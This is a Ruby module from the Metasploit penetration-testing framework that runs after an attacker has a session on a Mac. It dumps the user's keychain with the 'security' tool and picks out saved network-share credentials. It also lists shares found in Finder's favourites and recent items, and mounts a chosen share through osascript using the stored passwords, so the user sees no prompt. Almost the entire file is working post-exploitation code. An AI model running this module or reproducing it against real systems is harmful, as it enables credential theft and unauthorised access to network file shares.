metasploit-framework/modules/post/osx/manage/mount_share.rb

224 lines
8.0 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class MetasploitModule < Msf::Post
# list of accepted file share protocols. other "special" URLs (like vnc://) will be ignored.
FILE_SHARE_PROTOCOLS = %w(smb nfs cifs ftp afp)
# Used to parse a name property from a plist
NAME_REGEXES = [/^Name \= \"(.*)\"\;$/, /^Name \= (.*)\;$/]
# Used to parse a URL property from a plist
URL_REGEX = /^URL = \"(.*)\"\;$/
include Msf::Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'OSX Network Share Mounter',
'Description' => %q{
This module lists saved network shares and tries to connect to them using stored
credentials. This does not require root privileges.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Peter Toth <globetother[at]gmail.com>',
'joev'
],
'Platform' => [ 'osx' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Actions' => [
[ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ],
[ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ],
[ 'UMOUNT', { 'Description' => 'Unmount a mounted volume' } ]
],
'DefaultAction' => 'LIST'
))
register_options(
[
OptString.new('VOLUME', [true, 'Name of network share volume. `set ACTION LIST` to get a list.', 'localhost']),
OptEnum.new('PROTOCOL', [true, 'Network share protocol.', 'smb', FILE_SHARE_PROTOCOLS])
], self.class)
register_advanced_options(
[
OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']),
OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']),
OptString.new('SIDEBAR_PLIST_PATH', [true, 'Path to the finder sidebar plist.', '~/Library/Preferences/com.apple.sidebarlists.plist']),
OptString.new('RECENT_PLIST_PATH', [true, 'Path to the finder recent plist.', '~/Library/Preferences/com.apple.recentitems.plist'])
]
)
end
def run
username = cmd_exec('whoami').strip
security_path = datastore['SECURITY_PATH'].shellescape
sidebar_plist_path = datastore['SIDEBAR_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}").shellescape
recent_plist_path = datastore['RECENT_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}").shellescape
if action.name == 'LIST'
if file?(security_path)
saved_shares = get_keyring_shares(security_path)
if saved_shares.length == 0
print_status("No Network Share credentials were found in the keyrings")
else
print_status("Network shares saved in keyrings:")
print_status(" Protocol\tShare Name")
saved_shares.each do |line|
print_good(" #{line}")
end
end
else
print_error("Could not check keyring contents: Security binary not found.")
end
if file?(sidebar_plist_path)
favorite_shares = get_favorite_shares(sidebar_plist_path)
if favorite_shares.length == 0
print_status("No favorite shares were found")
else
print_status("Favorite shares (without stored credentials):")
print_status(" Protocol\tShare Name")
favorite_shares.each do |line|
print_uri(line)
end
end
else
print_error("Could not check sidebar favorites contents: Sidebar plist not found")
end
if file?(recent_plist_path)
recent_shares = get_recent_shares(recent_plist_path)
if recent_shares.length == 0
print_status("No recent shares were found")
else
print_status("Recent shares (without stored credentials):")
print_status(" Protocol\tShare Name")
recent_shares.each do |line|
print_uri(line)
end
end
else
print_error("Could not check recent favorites contents: Recent plist not found")
end
mounted_shares = get_mounted_volumes
if mounted_shares.length == 0
print_status("No volumes found in /Volumes")
else
print_status("Mounted Volumes:")
mounted_shares.each do |line|
print_good(" #{line}")
end
end
elsif action.name == 'MOUNT'
mount
elsif action.name == 'UMOUNT'
umount
end
end
# Returns the network shares stored in the user's keychain. These shares will often have
# creds attached, so mounting occurs without prompting the user for a password.
# @return [Array<String>] sorted list of volumes stored in the user's keychain
def get_keyring_shares(security_path)
# Grep for desc srvr and ptcl
data = cmd_exec("#{security_path} dump")
lines = data.lines.select { |line| line =~ /desc|srvr|ptcl/ }.map(&:strip)
# Go through the list, find the saved Network Password descriptions
# and their corresponding ptcl and srvr attributes
list = []
lines.each_with_index do |line, x|
if line =~ /"desc"<blob>=("Network Password"|<NULL>)/ && x < lines.length-2
# Remove everything up to the double-quote after the equal sign,
# and also the trailing double-quote
if lines[x+1].match "^.*\=\"(.*)\w*\"\w*$"
protocol = $1
if protocol.start_with?(*FILE_SHARE_PROTOCOLS) && lines[x+2].match("^.*\=\"(.*)\"\w*$")
server = $1
list.push(protocol + "\t" + server)
end
end
end
end
list.sort
end
# Returns the user's "Favorite Shares". To add a Favorite Share on OSX, press cmd-k in Finder, enter
# an address, then click the [+] button next to the address field.
# @return [Array<String>] sorted list of volumes saved in the user's "Recent Shares"
def get_favorite_shares(sidebar_plist_path)
# Grep for URL
data = cmd_exec("defaults read #{sidebar_plist_path} favoriteservers")
list = data.lines.map(&:strip).map { |line| line =~ URL_REGEX && $1 }.compact
# Grep for EntryType and Name
data = cmd_exec("defaults read #{sidebar_plist_path} favorites")
lines = data.lines.map(&:strip).select { |line| line =~ /EntryType|Name/ }
# Go through the list, find the rows with EntryType 8 and their corresponding name
lines.each_with_index do |line, x|
if line =~ /EntryType = 8;/ && x < lines.length-1
if NAME_REGEXES.any? { |r| lines[x+1].strip =~ r }
list.push($1)
end
end
end
list.sort
end
# Returns the user's "Recent Shares" list
# @return [Array<String>] sorted list of volumes saved in the user's "Recent Shares"
def get_recent_shares(recent_plist_path)
# Grep for Name
data = cmd_exec("defaults read #{recent_plist_path} Hosts")
data.lines.map(&:strip).map { |line| line =~ URL_REGEX && $1 }.compact.uniq.sort
end
# @return [Array<String>] sorted list of mounted volume names
def get_mounted_volumes
cmd_exec("ls /Volumes").lines.map(&:strip).sort
end
def mount
share_name = datastore['VOLUME']
protocol = datastore['PROTOCOL']
print_status("Connecting to #{protocol}://#{share_name}")
cmd_exec("#{osascript_path} -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'")
end
def umount
share_name = datastore['VOLUME']
print_status("Disconnecting from #{share_name}")
cmd_exec("#{osascript_path} -e 'tell app \"finder\" to eject \"#{share_name}\"'")
end
# hook cmd_exec to print a debug message when DEBUG=true
def cmd_exec(cmd)
vprint_status(cmd)
super
end
# Prints a file share url (e.g. smb://joe.com) as Protocol + \t + Host
# @param [String] line the URL to parse and print formatted
def print_uri(line)
if line =~ /^(.*?):\/\/(.*)$/
print_good " #{$1}\t#{$2}"
else
print_good " #{line}"
end
end
# path to osascript on the remote system
def osascript_path
datastore['OSASCRIPT_PATH'].shellescape
end
end